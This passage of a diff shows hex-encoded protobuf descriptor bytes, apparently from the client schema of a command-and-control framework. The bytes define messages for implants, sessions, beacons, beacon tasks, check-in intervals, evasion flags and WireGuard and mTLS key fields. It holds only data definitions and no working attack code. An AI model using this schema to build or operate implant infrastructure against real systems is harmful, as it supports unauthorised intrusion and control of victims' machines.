0x63, 0x4b, - 0x65, 0x79, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x12, 0x41, 0x67, 0x65, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x24, 0x0a, 0x0d, - 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x0a, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x0d, 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, - 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x50, 0x65, 0x65, 0x72, 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, - 0x65, 0x4b, 0x65, 0x79, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0e, 0x50, 0x65, 0x65, 0x72, - 0x50, 0x72, 0x69, 0x76, 0x61, 0x74, 0x65, 0x4b, 0x65, 0x79, 0x12, 0x36, 0x0a, 0x16, 0x50, 0x65, - 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, - 0x74, 0x75, 0x72, 0x65, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x16, 0x50, 0x65, 0x65, 0x72, - 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x53, 0x69, 0x67, 0x6e, 0x61, 0x74, 0x75, - 0x72, 0x65, 0x12, 0x38, 0x0a, 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, - 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x18, 0x0d, 0x20, - 0x01, 0x28, 0x09, 0x52, 0x17, 0x4d, 0x69, 0x6e, 0x69, 0x73, 0x69, 0x67, 0x6e, 0x53, 0x65, 0x72, - 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x12, 0x30, 0x0a, 0x13, - 0x50, 0x65, 0x65, 0x72, 0x50, 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x44, 0x69, 0x67, - 0x65, 0x73, 0x74, 0x18, 0x0e, 0x20, 0x01, 0x28, 0x09, 0x52, 0x13, 0x50, 0x65, 0x65, 0x72, 0x50, - 0x75, 0x62, 0x6c, 0x69, 0x63, 0x4b, 0x65, 0x79, 0x44, 0x69, 0x67, 0x65, 0x73, 0x74, 0x12, 0x2a, - 0x0a, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, - 0x65, 0x79, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x10, 0x57, 0x47, 0x49, 0x6d, 0x70, 0x6c, - 0x61, 0x6e, 0x74, 0x50, 0x72, 0x69, 0x76, 0x4b, 0x65, 0x79, 0x12, 0x26, 0x0a, 0x0e, 0x57, 0x47, - 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, 0x65, 0x79, 0x18, 0x10, 0x20, 0x01, - 0x28, 0x09, 0x52, 0x0e, 0x57, 0x47, 0x53, 0x65, 0x72, 0x76, 0x65, 0x72, 0x50, 0x75, 0x62, 0x4b, - 0x65, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, 0x72, 0x74, - 0x18, 0x11, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0a, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x41, 0x43, 0x65, - 0x72, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x18, 0x12, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x4d, 0x74, 0x6c, 0x73, 0x43, 0x65, 0x72, 0x74, 0x12, 0x18, - 0x0a, 0x07, 0x4d, 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x18, 0x13, 0x20, 0x01, 0x28, 0x09, 0x52, - 0x07, 0x4d, 0x74, 0x6c, 0x73, 0x4b, 0x65, 0x79, 0x12, 0x14, 0x0a, 0x05, 0x53, 0x74, 0x61, 0x67, - 0x65, 0x18, 0x14, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x53, 0x74, 0x61, 0x67, 0x65, 0x22, 0x6c, - 0x0a, 0x0e, 0x43, 0x6f, 0x6d, 0x70, 0x69, 0x6c, 0x65, 0x72, 0x54, 0x61, 0x72, 0x67, 0x65, 0x74, - 0x12, 0x12, 0x0a, 0x04, 0x47, 0x4f, 0x4f, 0x53, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, - 0x47, 0x4f, 0x4f, 0x53, 0x12, 0x16, 0x0a, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x18, 0x02, - 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x47, 0x4f, 0x41, 0x52, 0x43, 0x48, 0x12, 0x2e, 0x0a, 0x06, - 0x46, 0x6f, 0x72, 0x6d, 0x61, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x0e, 0x32, 0x16, 0x2e, 0x63, + 0x61, 0x6d, 0x65, 0x12, 0x16, 0x0a, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x18, 0x02, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x06, 0x4f, 0x6e, 0x6c, 0x69, 0x6e, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x4c, + 0x61, 0x73, 0x74, 0x53, 0x65, 0x65, 0x6e, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x4c, + 0x61, 0x73, 0x74, 0x53, 0x65, 0x65, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x43, 0x6c, 0x69, 0x65, 0x6e, + 0x74, 0x73, 0x18, 0x04, 0x20, 0x01, 0x28, 0x05, 0x52, 0x07, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, + 0x73, 0x22, 0x3b, 0x0a, 0x0d, 0x43, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x4c, 0x6f, 0x67, 0x44, 0x61, + 0x74, 0x61, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x44, 0x61, + 0x74, 0x61, 0x18, 0x02, 0x20, 0x01, 0x28, 0x0c, 0x52, 0x04, 0x44, 0x61, 0x74, 0x61, 0x22, 0xdf, + 0x01, 0x0a, 0x0e, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, + 0x64, 0x12, 0x16, 0x0a, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x18, 0x01, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x06, 0x53, 0x74, 0x72, 0x65, 0x61, 0x6d, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x73, 0x65, + 0x72, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x73, 0x65, 0x72, 0x12, 0x1c, 0x0a, + 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x09, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x0b, 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1e, 0x0a, + 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x0a, 0x45, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x14, 0x0a, + 0x05, 0x42, 0x6c, 0x6f, 0x63, 0x6b, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, 0x05, 0x42, 0x6c, + 0x6f, 0x63, 0x6b, 0x12, 0x2b, 0x0a, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, + 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, + 0x22, 0xb5, 0x01, 0x0a, 0x0e, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x52, 0x65, 0x71, 0x75, + 0x65, 0x73, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x18, + 0x01, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, 0x12, + 0x1a, 0x0a, 0x08, 0x4d, 0x61, 0x78, 0x4c, 0x69, 0x6e, 0x65, 0x73, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x05, 0x52, 0x08, 0x4d, 0x61, 0x78, 0x4c, 0x69, 0x6e, 0x65, 0x73, 0x12, 0x1c, 0x0a, 0x09, 0x49, + 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x49, 0x44, 0x12, 0x20, 0x0a, 0x0b, 0x49, 0x6d, 0x70, + 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x0b, + 0x49, 0x6d, 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x2b, 0x0a, 0x07, 0x52, + 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x11, 0x2e, 0x63, + 0x6f, 0x6d, 0x6d, 0x6f, 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x52, + 0x07, 0x52, 0x65, 0x71, 0x75, 0x65, 0x73, 0x74, 0x22, 0xab, 0x01, 0x0a, 0x07, 0x48, 0x69, 0x73, + 0x74, 0x6f, 0x72, 0x79, 0x12, 0x1e, 0x0a, 0x0a, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, 0x79, 0x4c, + 0x65, 0x6e, 0x18, 0x02, 0x20, 0x01, 0x28, 0x05, 0x52, 0x0a, 0x48, 0x69, 0x73, 0x74, 0x6f, 0x72, + 0x79, 0x4c, 0x65, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x08, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x4f, 0x6e, 0x6c, 0x79, + 0x12, 0x34, 0x0a, 0x08, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x73, 0x18, 0x04, 0x20, 0x03, + 0x28, 0x0b, 0x32, 0x18, 0x2e, 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x49, 0x6d, + 0x70, 0x6c, 0x61, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x08, 0x43, 0x6f, + 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x73, 0x12, 0x2e, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, + 0x73, 0x65, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x12, 0x2e, 0x63, 0x6f, 0x6d, 0x6d, 0x6f, + 0x6e, 0x70, 0x62, 0x2e, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x52, 0x08, 0x52, 0x65, + 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x22, 0x93, 0x05, 0x0a, 0x07, 0x53, 0x65, 0x73, 0x73, 0x69, + 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, + 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, 0x04, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, 0x73, 0x65, 0x72, 0x6e, 0x61, + 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, 0x18, 0x07, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, 0x53, 0x18, 0x08, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, 0x72, 0x63, 0x68, 0x18, 0x09, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, 0x1c, 0x0a, 0x09, 0x54, 0x72, + 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x54, + 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, 0x0d, 0x52, 0x65, 0x6d, 0x6f, + 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, 0x20, 0x01, 0x28, 0x09, 0x52, + 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x12, 0x10, + 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, 0x52, 0x03, 0x50, 0x49, 0x44, + 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x0d, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x20, 0x0a, 0x0b, + 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x18, 0x0e, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, 0x12, 0x1a, + 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, 0x0f, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, 0x18, 0x0a, 0x07, 0x56, 0x65, + 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, 0x52, 0x07, 0x56, 0x65, 0x72, + 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x18, + 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x16, + 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, + 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, + 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x13, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, + 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, + 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, + 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x18, 0x16, 0x20, 0x01, 0x28, 0x08, + 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, 0x64, 0x12, 0x1e, 0x0a, 0x0a, 0x45, 0x78, 0x74, 0x65, + 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x18, 0x17, 0x20, 0x03, 0x28, 0x09, 0x52, 0x0a, 0x45, 0x78, + 0x74, 0x65, 0x6e, 0x73, 0x69, 0x6f, 0x6e, 0x73, 0x12, 0x16, 0x0a, 0x06, 0x50, 0x65, 0x65, 0x72, + 0x49, 0x44, 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x06, 0x50, 0x65, 0x65, 0x72, 0x49, 0x44, + 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, 0x0c, 0x46, 0x69, 0x72, 0x73, + 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0c, + 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x22, 0x82, 0x06, 0x0a, + 0x06, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x12, 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, + 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x12, 0x1a, 0x0a, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x03, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x48, + 0x6f, 0x73, 0x74, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x12, 0x0a, 0x04, 0x55, 0x55, 0x49, 0x44, 0x18, + 0x04, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x18, 0x05, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x55, + 0x73, 0x65, 0x72, 0x6e, 0x61, 0x6d, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x55, 0x49, 0x44, 0x18, 0x06, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x55, 0x49, 0x44, 0x12, 0x10, 0x0a, 0x03, 0x47, 0x49, 0x44, + 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x47, 0x49, 0x44, 0x12, 0x0e, 0x0a, 0x02, 0x4f, + 0x53, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x02, 0x4f, 0x53, 0x12, 0x12, 0x0a, 0x04, 0x41, + 0x72, 0x63, 0x68, 0x18, 0x09, 0x20, 0x01, 0x28, 0x09, 0x52, 0x04, 0x41, 0x72, 0x63, 0x68, 0x12, + 0x1c, 0x0a, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x18, 0x0a, 0x20, 0x01, + 0x28, 0x09, 0x52, 0x09, 0x54, 0x72, 0x61, 0x6e, 0x73, 0x70, 0x6f, 0x72, 0x74, 0x12, 0x24, 0x0a, + 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, 0x65, 0x73, 0x73, 0x18, 0x0b, + 0x20, 0x01, 0x28, 0x09, 0x52, 0x0d, 0x52, 0x65, 0x6d, 0x6f, 0x74, 0x65, 0x41, 0x64, 0x64, 0x72, + 0x65, 0x73, 0x73, 0x12, 0x10, 0x0a, 0x03, 0x50, 0x49, 0x44, 0x18, 0x0c, 0x20, 0x01, 0x28, 0x05, + 0x52, 0x03, 0x50, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, + 0x65, 0x18, 0x0d, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x46, 0x69, 0x6c, 0x65, 0x6e, 0x61, 0x6d, + 0x65, 0x12, 0x20, 0x0a, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, + 0x18, 0x0e, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4c, 0x61, 0x73, 0x74, 0x43, 0x68, 0x65, 0x63, + 0x6b, 0x69, 0x6e, 0x12, 0x1a, 0x0a, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x18, + 0x0f, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x41, 0x63, 0x74, 0x69, 0x76, 0x65, 0x43, 0x32, 0x12, + 0x18, 0x0a, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x10, 0x20, 0x01, 0x28, 0x09, + 0x52, 0x07, 0x56, 0x65, 0x72, 0x73, 0x69, 0x6f, 0x6e, 0x12, 0x18, 0x0a, 0x07, 0x45, 0x76, 0x61, + 0x73, 0x69, 0x6f, 0x6e, 0x18, 0x11, 0x20, 0x01, 0x28, 0x08, 0x52, 0x07, 0x45, 0x76, 0x61, 0x73, + 0x69, 0x6f, 0x6e, 0x12, 0x16, 0x0a, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x18, 0x12, 0x20, + 0x01, 0x28, 0x08, 0x52, 0x06, 0x49, 0x73, 0x44, 0x65, 0x61, 0x64, 0x12, 0x1a, 0x0a, 0x08, 0x50, + 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x18, 0x14, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x50, + 0x72, 0x6f, 0x78, 0x79, 0x55, 0x52, 0x4c, 0x12, 0x2c, 0x0a, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, + 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, 0x6c, 0x18, 0x15, 0x20, 0x01, + 0x28, 0x03, 0x52, 0x11, 0x52, 0x65, 0x63, 0x6f, 0x6e, 0x6e, 0x65, 0x63, 0x74, 0x49, 0x6e, 0x74, + 0x65, 0x72, 0x76, 0x61, 0x6c, 0x12, 0x1a, 0x0a, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, + 0x6c, 0x18, 0x16, 0x20, 0x01, 0x28, 0x03, 0x52, 0x08, 0x49, 0x6e, 0x74, 0x65, 0x72, 0x76, 0x61, + 0x6c, 0x12, 0x16, 0x0a, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x18, 0x17, 0x20, 0x01, 0x28, + 0x03, 0x52, 0x06, 0x4a, 0x69, 0x74, 0x74, 0x65, 0x72, 0x12, 0x16, 0x0a, 0x06, 0x42, 0x75, 0x72, + 0x6e, 0x65, 0x64, 0x18, 0x18, 0x20, 0x01, 0x28, 0x08, 0x52, 0x06, 0x42, 0x75, 0x72, 0x6e, 0x65, + 0x64, 0x12, 0x20, 0x0a, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, 0x6b, 0x69, 0x6e, + 0x18, 0x19, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x4e, 0x65, 0x78, 0x74, 0x43, 0x68, 0x65, 0x63, + 0x6b, 0x69, 0x6e, 0x12, 0x1e, 0x0a, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x18, 0x1a, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0a, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, + 0x75, 0x6e, 0x74, 0x12, 0x30, 0x0a, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, + 0x74, 0x43, 0x6f, 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x18, 0x1b, 0x20, 0x01, 0x28, 0x03, + 0x52, 0x13, 0x54, 0x61, 0x73, 0x6b, 0x73, 0x43, 0x6f, 0x75, 0x6e, 0x74, 0x43, 0x6f, 0x6d, 0x70, + 0x6c, 0x65, 0x74, 0x65, 0x64, 0x12, 0x16, 0x0a, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x18, + 0x1c, 0x20, 0x01, 0x28, 0x09, 0x52, 0x06, 0x4c, 0x6f, 0x63, 0x61, 0x6c, 0x65, 0x12, 0x22, 0x0a, + 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, 0x74, 0x18, 0x1d, 0x20, + 0x01, 0x28, 0x03, 0x52, 0x0c, 0x46, 0x69, 0x72, 0x73, 0x74, 0x43, 0x6f, 0x6e, 0x74, 0x61, 0x63, + 0x74, 0x22, 0x35, 0x0a, 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x12, 0x2a, 0x0a, 0x07, + 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x18, 0x02, 0x20, 0x03, 0x28, 0x0b, 0x32, 0x10, 0x2e, + 0x63, 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x52, + 0x07, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x73, 0x22, 0x98, 0x02, 0x0a, 0x0a, 0x42, 0x65, 0x61, + 0x63, 0x6f, 0x6e, 0x54, 0x61, 0x73, 0x6b, 0x12, 0x0e, 0x0a, 0x02, 0x49, 0x44, 0x18, 0x01, 0x20, + 0x01, 0x28, 0x09, 0x52, 0x02, 0x49, 0x44, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, + 0x6e, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, + 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 